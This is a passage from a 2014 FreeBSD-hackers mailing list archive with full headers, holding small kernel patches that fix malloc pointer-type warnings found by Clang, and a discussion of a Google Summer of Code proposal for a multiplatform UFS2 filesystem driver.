MXHUB101.corp.emc.com ([::1]) with mapi id 14.03.0158.001; Thu, 13 Mar 2014 12:30:09 -0400 From: "Meyer, Conrad" To: "freebsd-hackers@freebsd.org" Subject: [PATCH 0/2] A few more Clang alloc-type warning fixes Thread-Topic: [PATCH 0/2] A few more Clang alloc-type warning fixes Thread-Index: AQHPPtl/HGUOLBcFNUyCBeZpZsRu/A== Date: Thu, 13 Mar 2014 16:30:08 +0000 Message-ID: <1394728180-22164-1-git-send-email-conrad.meyer@isilon.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [137.69.152.119] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Sentrion-Hostname: mailusrhubprd51.lss.emc.com X-RSA-Classifications: public Cc: "Meyer, Conrad" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 16:30:29 -0000 Nothing non-trivial, just reduce the warnings. Conrad Meyer (2): dev/hwpmc/hwpmc_core.c: malloc with correct pointer type dev/hwpmc/hwpmc_uncore.c: malloc with correct pointer type sys/dev/hwpmc/hwpmc_core.c | 2 +- sys/dev/hwpmc/hwpmc_uncore.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) --=20 1.8.5.3 From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 16:30:41 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 018CFDAB for ; Thu, 13 Mar 2014 16:30:41 +0000 (UTC) Received: from mailuogwdur.emc.com (mailuogwdur.emc.com [128.221.224.79]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id A10CDE7D for ; Thu, 13 Mar 2014 16:30:40 +0000 (UTC) Received: from maildlpprd52.lss.emc.com (maildlpprd52.lss.emc.com [10.106.48.156]) by mailuogwprd53.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2DGUXRh013728 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 13 Mar 2014 12:30:33 -0400 X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd53.lss.emc.com s2DGUXRh013728 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=isilon.com; s=jan2013; t=1394728233; bh=ZjQwR2ME7mMZfCNNeUNlAqjiok4=; h=From:To:CC:Subject:Date:Message-ID:References:In-Reply-To: Content-Type:Content-Transfer-Encoding:MIME-Version; b=oFgIwwZn2wFcMHwhySd/xZqetrUGfuPkKrp/HAg8aePGvfQpPGgafwjb4XZSQbe6o ByUt0eYjEp/5aiTleBBwAhkD0ctygdh2Av7r+/TVA6qTIkHlvo/Ijt2yjTjS/2deEF 3nownTiy/UKtz05oZ2Nda4ly4JzWsm8jDK/gpg+4= X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd53.lss.emc.com s2DGUXRh013728 Received: from mailusrhubprd51.lss.emc.com (mailusrhubprd51.lss.emc.com [10.106.48.24]) by maildlpprd52.lss.emc.com (RSA Interceptor) for ; Thu, 13 Mar 2014 12:30:18 -0400 Received: from mxhub40.corp.emc.com (mxhub40.corp.emc.com [128.222.70.107]) by mailusrhubprd51.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2DGUHE4013831 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL) for ; Thu, 13 Mar 2014 12:30:18 -0400 Received: from MXHUB103.corp.emc.com (10.253.50.16) by mxhub40.corp.emc.com (128.222.70.107) with Microsoft SMTP Server (TLS) id 8.3.327.1; Thu, 13 Mar 2014 12:30:17 -0400 Received: from MX103CL02.corp.emc.com ([169.254.6.182]) by MXHUB103.corp.emc.com ([::1]) with mapi id 14.03.0158.001; Thu, 13 Mar 2014 12:30:17 -0400 From: "Meyer, Conrad" To: "freebsd-hackers@freebsd.org" Subject: [PATCH 1/2] dev/hwpmc/hwpmc_core.c: malloc with correct pointer type Thread-Topic: [PATCH 1/2] dev/hwpmc/hwpmc_core.c: malloc with correct pointer type Thread-Index: AQHPPtmESFtudwhEJECmi171L1G2BQ== Date: Thu, 13 Mar 2014 16:30:17 +0000 Message-ID: <1394728180-22164-2-git-send-email-conrad.meyer@isilon.com> References: <1394728180-22164-1-git-send-email-conrad.meyer@isilon.com> In-Reply-To: <1394728180-22164-1-git-send-email-conrad.meyer@isilon.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [137.69.152.119] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Sentrion-Hostname: mailusrhubprd51.lss.emc.com X-RSA-Classifications: public Cc: "Meyer, Conrad" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 16:30:41 -0000 Another trivial one discovered by Clang. Sponsored by: EMC/Isilon storage division Signed-off-by: Conrad Meyer --- sys/dev/hwpmc/hwpmc_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sys/dev/hwpmc/hwpmc_core.c b/sys/dev/hwpmc/hwpmc_core.c index 39f49e3..e4d543c 100644 --- a/sys/dev/hwpmc/hwpmc_core.c +++ b/sys/dev/hwpmc/hwpmc_core.c @@ -2679,7 +2679,7 @@ pmc_core_initialize(struct pmc_mdep *md, int maxcpu, = int version_override) PMCDBG(MDP,INI,1,"core-init pmcmask=3D0x%jx iafri=3D%d", core_pmcmask, core_iaf_ri); =20 - core_pcpu =3D malloc(sizeof(struct core_cpu **) * maxcpu, M_PMC, + core_pcpu =3D malloc(sizeof(*core_pcpu) * maxcpu, M_PMC, M_ZERO | M_WAITOK); =20 /* --=20 1.8.5.3 From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 16:30:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 18928DBB for ; Thu, 13 Mar 2014 16:30:43 +0000 (UTC) Received: from mailuogwdur.emc.com (mailuogwdur.emc.com [128.221.224.79]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B75BFE7F for ; Thu, 13 Mar 2014 16:30:42 +0000 (UTC) Received: from maildlpprd53.lss.emc.com (maildlpprd53.lss.emc.com [10.106.48.157]) by mailuogwprd51.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2DGUZe6006851 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 13 Mar 2014 12:30:36 -0400 X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd51.lss.emc.com s2DGUZe6006851 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=isilon.com; s=jan2013; t=1394728236; bh=EVmEMzWgkLUEUmtzXxqSsw1RExU=; h=From:To:CC:Subject:Date:Message-ID:References:In-Reply-To: Content-Type:Content-Transfer-Encoding:MIME-Version; b=vskib9WYxHohEz/LFBwLrfbupJOpBwnXLBiolo07mRIxvpBgLzjGkBmqmyj8cteu7 FTdYhQyCUIov32qzE8XcQhxlMpCNFRgHM0dqU/ofEP5Y6NBcIvVAXrNwh4BzwEjRiq dpMq8lcS2Gy35GXpmf/zkhkW4taBbuxpY+lAiML8= X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd51.lss.emc.com s2DGUZe6006851 Received: from mailusrhubprd52.lss.emc.com (mailusrhubprd52.lss.emc.com [10.106.48.25]) by maildlpprd53.lss.emc.com (RSA Interceptor) for ; Thu, 13 Mar 2014 12:30:20 -0400 Received: from mxhub37.corp.emc.com (mxhub37.corp.emc.com [128.222.70.104]) by mailusrhubprd52.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2DGUJlj032150 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL) for ; Thu, 13 Mar 2014 12:30:20 -0400 Received: from MXHUB107.corp.emc.com (10.253.50.23) by mxhub37.corp.emc.com (128.222.70.104) with Microsoft SMTP Server (TLS) id 8.3.327.1; Thu, 13 Mar 2014 12:30:20 -0400 Received: from MX103CL02.corp.emc.com ([169.254.6.182]) by MXHUB107.corp.emc.com ([10.253.50.23]) with mapi id 14.03.0158.001; Thu, 13 Mar 2014 12:30:19 -0400 From: "Meyer, Conrad" To: "freebsd-hackers@freebsd.org" Subject: [PATCH 2/2] dev/hwpmc/hwpmc_uncore.c: malloc with correct pointer type Thread-Topic: [PATCH 2/2] dev/hwpmc/hwpmc_uncore.c: malloc with correct pointer type Thread-Index: AQHPPtmFwU7v+8P280uaZgGe3spQTA== Date: Thu, 13 Mar 2014 16:30:18 +0000 Message-ID: <1394728180-22164-3-git-send-email-conrad.meyer@isilon.com> References: <1394728180-22164-1-git-send-email-conrad.meyer@isilon.com> In-Reply-To: <1394728180-22164-1-git-send-email-conrad.meyer@isilon.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [137.69.152.119] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Sentrion-Hostname: mailusrhubprd52.lss.emc.com X-RSA-Classifications: public Cc: "Meyer, Conrad" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 16:30:43 -0000 Another trivial one discovered by Clang. Sponsored by: EMC/Isilon storage division Signed-off-by: Conrad Meyer --- sys/dev/hwpmc/hwpmc_uncore.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sys/dev/hwpmc/hwpmc_uncore.c b/sys/dev/hwpmc/hwpmc_uncore.c index d6ec5c3..7e991dc 100644 --- a/sys/dev/hwpmc/hwpmc_uncore.c +++ b/sys/dev/hwpmc/hwpmc_uncore.c @@ -1212,7 +1212,7 @@ pmc_uncore_initialize(struct pmc_mdep *md, int maxcpu= ) PMCDBG(MDP,INI,1,"uncore-init pmcmask=3D0x%jx ucfri=3D%d", uncore_pmcmask= , uncore_ucf_ri); =20 - uncore_pcpu =3D malloc(sizeof(struct uncore_cpu **) * maxcpu, M_PMC, + uncore_pcpu =3D malloc(sizeof(*uncore_pcpu) * maxcpu, M_PMC, M_ZERO | M_WAITOK); =20 return (0); --=20 1.8.5.3 From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 16:35:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B0CED11F for ; Thu, 13 Mar 2014 16:35:52 +0000 (UTC) Received: from mailuogwhop.emc.com (mailuogwhop.emc.com [168.159.213.141]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 5F92BF42 for ; Thu, 13 Mar 2014 16:35:52 +0000 (UTC) Received: from maildlpprd06.lss.emc.com (maildlpprd06.lss.emc.com [10.253.24.38]) by mailuogwprd04.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2DGZo6q007625 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 13 Mar 2014 12:35:51 -0400 X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd04.lss.emc.com s2DGZo6q007625 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=isilon.com; s=jan2013; t=1394728551; bh=grrR6z+sZ5CKKsHEIKBaTHY2ljg=; h=From:To:CC:Subject:Date:Message-ID:Content-Type: Content-Transfer-Encoding:MIME-Version; b=kaYr7HP62vx4N1y7XSd1I5EEEDF1cjRom8CHNpix/otUiYDOO39/EXrlu6RDc055g ppF2ffacOvHGTsIsu+D4kZ5xjk+3s7SdtOe6dRpmf6X8vWNRe63I5LOA88RpdTBAn4 Hd5crMiEB4GwqQxH9X6D9vT93jsVRxK8KUavT/vM= X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd04.lss.emc.com s2DGZo6q007625 Received: from mailusrhubprd54.lss.emc.com (mailusrhubprd54.lss.emc.com [10.106.48.19]) by maildlpprd06.lss.emc.com (RSA Interceptor) for ; Thu, 13 Mar 2014 09:35:36 -0700 Received: from mxhub10.corp.emc.com (mxhub10.corp.emc.com [10.254.92.105]) by mailusrhubprd54.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2DGZZva015719 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL) for ; Thu, 13 Mar 2014 12:35:36 -0400 Received: from MXHUB108.corp.emc.com (10.253.58.24) by mxhub10.corp.emc.com (10.254.92.105) with Microsoft SMTP Server (TLS) id 8.3.327.1; Thu, 13 Mar 2014 12:35:35 -0400 Received: from MX103CL02.corp.emc.com ([169.254.6.182]) by MXHUB108.corp.emc.com ([10.253.58.24]) with mapi id 14.03.0158.001; Thu, 13 Mar 2014 12:31:39 -0400 From: "Meyer, Conrad" To: "freebsd-hackers@freebsd.org" Subject: [PATCH] x86/mca.c: malloc with correct pointer type Thread-Topic: [PATCH] x86/mca.c: malloc with correct pointer type Thread-Index: AQHPPtpBAbqAMKGBbkqrBlZQxqDI4Q== Date: Thu, 13 Mar 2014 16:35:34 +0000 Message-ID: <1394728529-22495-1-git-send-email-conrad.meyer@isilon.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [137.69.152.119] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Sentrion-Hostname: mailusrhubprd54.lss.emc.com X-RSA-Classifications: public Cc: "Meyer, Conrad" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 16:35:52 -0000 Another trivial one discovered by Clang. Sponsored by: EMC/Isilon storage division Signed-off-by: Conrad Meyer --- Had to track down where this file lived in CURRENT, since we have it in an = old location in OneFS. --- sys/x86/x86/mca.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/sys/x86/x86/mca.c b/sys/x86/x86/mca.c index 0e246ed..ac0b957 100644 --- a/sys/x86/x86/mca.c +++ b/sys/x86/x86/mca.c @@ -700,8 +700,8 @@ cmci_setup(void) { int i; =20 - cmc_state =3D malloc((mp_maxid + 1) * sizeof(struct cmc_state **), - M_MCA, M_WAITOK); + cmc_state =3D malloc((mp_maxid + 1) * sizeof(*cmc_state), M_MCA, + M_WAITOK); for (i =3D 0; i <=3D mp_maxid; i++) cmc_state[i] =3D malloc(sizeof(struct cmc_state) * mca_banks, M_MCA, M_WAITOK | M_ZERO); --=20 1.8.5.3 From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 17:48:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E468BE35 for ; Thu, 13 Mar 2014 17:48:39 +0000 (UTC) Received: from smtp.gentoo.org (dev.gentoo.org [IPv6:2001:470:ea4a:1:214:c2ff:fe64:b2d3]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B211C94F for ; Thu, 13 Mar 2014 17:48:39 +0000 (UTC) Received: from [192.168.1.2] (pool-173-52-87-124.nycmny.fios.verizon.net [173.52.87.124]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: ryao) by smtp.gentoo.org (Postfix) with ESMTPSA id AC4AF33FC53; Thu, 13 Mar 2014 17:48:37 +0000 (UTC) Message-ID: <5321EF7E.7000500@gentoo.org> Date: Thu, 13 Mar 2014 13:48:46 -0400 From: Richard Yao User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: CeDeROM , freebsd-hackers@freebsd.org Subject: Re: GSoC proposition: multiplatform UFS2 driver References: In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="8B3H5GWiSqHQdrWk2e6ktg97efq3Gmblt" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 17:48:40 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --8B3H5GWiSqHQdrWk2e6ktg97efq3Gmblt Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 03/12/2014 12:54 PM, CeDeROM wrote: > My proposition is to create universal UFS2 driver that would work on > Windows, Linux, and maybe other OS, so we can use native UFS2 as data > partition among various OS. >=20 I like this idea. In particular, I would like to have UFS2 SU+J available for use in certain Linux VMs and was thinking about this possibility earlier in the week. However, I no longer qualify to be a GSoC student and I do not have time to do it myself. Speaking as someone who might be a GSoC mentor (in Gentoo, not FreeBSD) this year, I can say that this proposal is rather terse and you would need to add detail in order to make a formal proposal. However, you did the right thing in emailing the FreeBSD Hackers mailing list for feedback on this idea. Speaking as a kernel filesystem hacker (with most of my experience in Linux), I think this could be too ambitious depending on how you add detail. In particular, Linux has a moving target of a VFS (which causes much pain) and Windows' IFS is very different from the SunOS VFS that has become the basis for implementing multiple filesystems on different UNIX implementations and copy-cats. However, lets ignore that and go over the specifics of what you can expect and what decisions I suggest you make. The very first thing you will need to decide is whether this would be a port to native kernel interfaces, a port to FUSE/Dokan or some combination of the two. I believe that selecting FUSE/Dokan would make your project much easier, but if selected, I believe that it will limit the appeal of the result. This in part because people have a general distaste for FUSE that is probably more than what is warranted. It is also in part because FUSE would be unsuitable for the VM environment use case that a native port to Linux could achieve. Second, you will need to do is identify the *BSD interfaces in use so you know precisely what needs to be wrapped on each platform when writing wrapper code. I suggest keeping as much wrapper code as possible separate so that it is easy to see what needs to be reimplemented for a given platform. It would be best to rely on the C Pre-Processor to make this wrapper code support multiple platforms instead of writing an entirely separate wrapper for each platform. Adopting autotools to generate the C Pre-Processor definitions will make support for multiple platforms easier, especially in the case of Linux's VFS. Third, you will need to think about platforms. You mentioned Windows and Linux, but I strongly suggest that you refocus on Linux, Mac OS X and Illumos for reasons I stated above. All three of them can be considered open source for your purposes, they have similar development tools and they are basically everyone but Windows. If you follow my advice and find yourself with extra time, you could try tackling Windows as what I will call a bonus goal. Fourth, you will need to setup development environments for each platform, learn how to use the development tools to write filesystem kernel modules or FUSE/Dokan programs and learn the APIs. If this involves VMs, you will want to make sure that the storage IO is quick so you do not waste time waiting for slow VFS operations during compilation and testing. You will also want to figure out who to contact when you have questions about things. If you follow my advice about refocusing on Linux, Mac OS X and Illumos, you will likely find people in the broader Open ZFS community willing to answer general questions. Lets consider each platform individually. On Illumos, you will find the tools, kernel design and VFS API to be very similar to those on FreeBSD. In particular, they both have strong UNIX heritage and the VFS implementations in both are direct descendants of the original SunOS VFS, which predated all others. You should find the Illumos mailing lists a good place to ask questions should you have a= ny. On Mac OS X, you will first need to get your hands on it. You can either use an actual Mac OS X system or Darwin, which is the OSS core of Mac OS X that includes its kernel and base userland. Apple stopped releasing Darwin ISOs at version 8 while the current Mac OS X is at version 13, but interface stability should be good enough that the version 8 ISOs should be sufficient. However, you could also get version 9 ISOs through Pure Darwin. Pure Darwin is an attempt to continue Apple's releases that suffered from a chronic lack of the requisite man power to achieve its goals, but it should be sufficient for yours. As far as technical aspects of a Mac OS X port are concerned, you will find similarities with FreeBSD in its tools and VFS API. Mac OS X's XNU kernel is a descendant of Carnegie Mellon University's Mach microkernel. While XNU itself is not a microkernel and incorporates significant amounts of BSD code, you will encounter significant differences with FreeBSD that are greater than those you will encounter with Illumos. In particular, low level kernel functions such as memory allocation and thread management have been replaced with their Mach counterparts and unless you are familiar with XNU, you will find the design of loadable kernel modules to be unlike anything you have ever seen. Given that the majority of XNU kernel developers operate behind closed doors, I cannot recommend a list full of developers for you to use to ask questions, but I think you could try asking the Mac ZFS developers. The present Mac ZFS project lead is Jorgen Lundman. You can find him under the handle lundman in #mac-zfs on freenode. You will also find myself there under the handle ryao. If this project goes forward as a native port and you ask when I am present, I am willing to ask him to consider such questions as coming from me. While I cannot speak for him, I can say that I have answered enough of his questions in the past that I imagine that he would consider answering yours as returning the favor. On Linux, you will find that the development tools and kernel design are similar to FreeBSD, but the VFS API is substantially different from the VFS in other UNIX implementations/clones/copy-cats. You will also find that different kernel releases lack API compatibility, such that you can expect 1 or 2 things to break every release. In addition, distribution specific patches mean that API compatibility within what appears to be the same kernel release can break. The implication being that kernel version checks do not work universally. I strongly recommend using autotools to handle this. If you use autotools, I suggest adopting the autotools code from ZFSOnLinux, which should provide you with a solid framework to handle API compatibility problems. It would also make handling many kernels rather easy to do. I suspect licensing might be a problem, but I believe its authors (of which I am one) are open to releasing it under a BSD-style license should someone request it. I discussed licensing of the autotools code with the ZFSOnLinux project lead during my review of how ZFSOnLinux's licensing affected Gentoo's ZFS packaging. My recollection is that he was willing to change the license if the current one prevented use, before I found that the licensing was fine for Gentoo's use. I believe he, myself and the few others who contributed would be willing to release the code under a different license should you want to use the code in a project that requires a different F/OSS license. As for questions and the distribution, I am willing to volunteer myself to answer questions involving a native Linux UFS2 SU+J port and I think Gentoo would be an excellent choice of distribution to use for this. You would need to learn how to build your own kernels (which would be true for any distribution), but I am willing to answer questions there too. As for Windows, I know that it is dramatically different in its use of IFS, but I cannot say much else. If you have questions, you could probably contact the ReactOS developers with your questions. Keep in mind that ReactOS' kernel is not capable of handling alternative filesystems through IFS modules at this time, so their ability to answer your questions could be limited. They will also likely try to get you to volunteer to write the requisite code necessary to do that. That has been my past experience whenever I ask them technical questions about Windows filesystems. That being said, happy coding. :) --8B3H5GWiSqHQdrWk2e6ktg97efq3Gmblt Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTIe+AAAoJECDuEZm+6ExkkNkP/0bjl9cN57E+MF5GiGpzKO6r fbL5k2IR5z9MNzsmRqujwmKqqykrsLcD7qHOs2IbXZpivKBTS3f5L1/NRO+vPycD A3V3joyUeGkCcEYwCB+GcsF3Z7ufaHuPQIFVoDcmfMzbmDKrlYpctzaZ8Tb8xU1v cCXwEFSap6JFg3cDW2rN6ibAR49jd4SMx9FHamUNBm3V5YKCrEn9BA1IDWaJ2fXV aCuAc+C+MOUm/brhc7Tl9QzbKXh7OaAM2qVRvqIzj8A/xJly3RdFrrafJJc0fAMx P0QZ/BhLHkbp0dfG5+STmzUrPOtNJTClqimTtFf+5ZpTKXuylCinifmWk9qUGHsj DoBvbtBeslwrMU2nL+DWRqfJ+8FMsaEWhGvdMpIyabDypDW46nnx1/aUEBH1kVgF wrDwQp/hyVqnTi6oaLVADD3qTREJeERqUeEY7LrqCs2r4HRiWHERulQ+j6AKgewW RLJx7URf9iuuJ/7wEF7j2vPUlNDNICScYl417c1xdHg9EDLDX7VhNuzO7iuiB3pF IaqHl3xlEGirErmeYcXtT57yigklRdIEt2LPfKoFrT7CuIOSVpEmspdt0O+5mSur w2+5zOb4Yv7eoZGOZ4T4E6ZjlbLsPEP+4bzqT/kfWU4G+92jaTOuxD8lMC6i0167 iRl4u2ffZJIDDsl3Ek+O =OpT1 -----END PGP SIGNATURE----- --8B3H5GWiSqHQdrWk2e6ktg97efq3Gmblt-- From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 17:51:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8966E122 for ; Thu, 13 Mar 2014 17:51:19 +0000 (UTC) Received: from mail-qc0-x233.google.com (mail-qc0-x233.google.com [IPv6:2607:f8b0:400d:c01::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4BDFE9E9 for ; Thu, 13 Mar 2014 17:51:19 +0000 (UTC) Received: by mail-qc0-f179.google.com with SMTP id m20so1560891qcx.38 for ; Thu, 13 Mar 2014 10:51:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=NVwMM0HrCEBGN6pOrmixyk91magYmwuptdgaut2BNEY=; b=1BbCD9A+zO9W8BWQ6HKSuQHAHW1+n7eiBSxgE4Htpb09vgt8czHnrT/9Ca4NlSUZbL Jy/KEg95C/MA7qKwd1TiuDRW8tMg97oCiEJ/uv3oEE5QJoiVDKge4vpix15JNk6E+Bsq cohUDWtB/WfOatLEaM7lEIz27JJNuV4P06fGmxoB2v8l6NNqyuAmcs/TusQ9BXCe8V+C RCAFqO1cymSZSTTpWonzgGNtW67cDFXS80PInIG5tLSt5hazgy+qnllIuGV9GjCfDtGd u/qrEsyEYyN+sUA9Ba2uw6Tj4ve5qI3AwYuB3xID+sJg5/uo20L67iFPZY53M4WLQgJc R+Cg== MIME-Version: 1.0 X-Received: by 10.140.94.68 with SMTP id f62mr3982433qge.64.1394733078463; Thu, 13 Mar 2014 10:51:18 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.229.209.73 with HTTP; Thu, 13 Mar 2014 10:51:18 -0700 (PDT) In-Reply-To: <5321EF7E.7000500@gentoo.org> References: <5321EF7E.7000500@gentoo.org> Date: Thu, 13 Mar 2014 18:51:18 +0100 X-Google-Sender-Auth: iAZtlunxY--cM_HlUJWDi2i4O4g Message-ID: Subject: Re: GSoC proposition: multiplatform UFS2 driver From: CeDeROM To: Richard Yao Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 17:51:19 -0000 On the other hand maybe it would be more convenient to develop fully featured UDF filesystem with read-write support so finally we would have Universal Disk Format to store data..? :-) -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 18:02:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E051D4AE; Thu, 13 Mar 2014 18:02:37 +0000 (UTC) Received: from mail-qc0-x231.google.com (mail-qc0-x231.google.com [IPv6:2607:f8b0:400d:c01::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 90B44AEA; Thu, 13 Mar 2014 18:02:37 +0000 (UTC) Received: by mail-qc0-f177.google.com with SMTP id w7so1585661qcr.8 for ; Thu, 13 Mar 2014 11:02:36 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=0t7qnK5rs+RNeL/vynKkCYm89Rg62tRS8QzwIofFii8=; b=lOBXwccoVZfVWrPOcaBMbi+GolJX3iAtijZCXRcbw/p4Or47pnsolTL4XlDQT0asyL 5Bij5kYkin35dXUyawsHpneZ/XRxkANFoJZ5pkT+sZCpnXQQAVg7ZBMPJKors6z+RMa7 jGupgmYbLKlLj0BA1P21uyW/hP74Zw+1JHwoTJUfn2JAU8ILcSxJhU+lNp0Jha4zUu+7 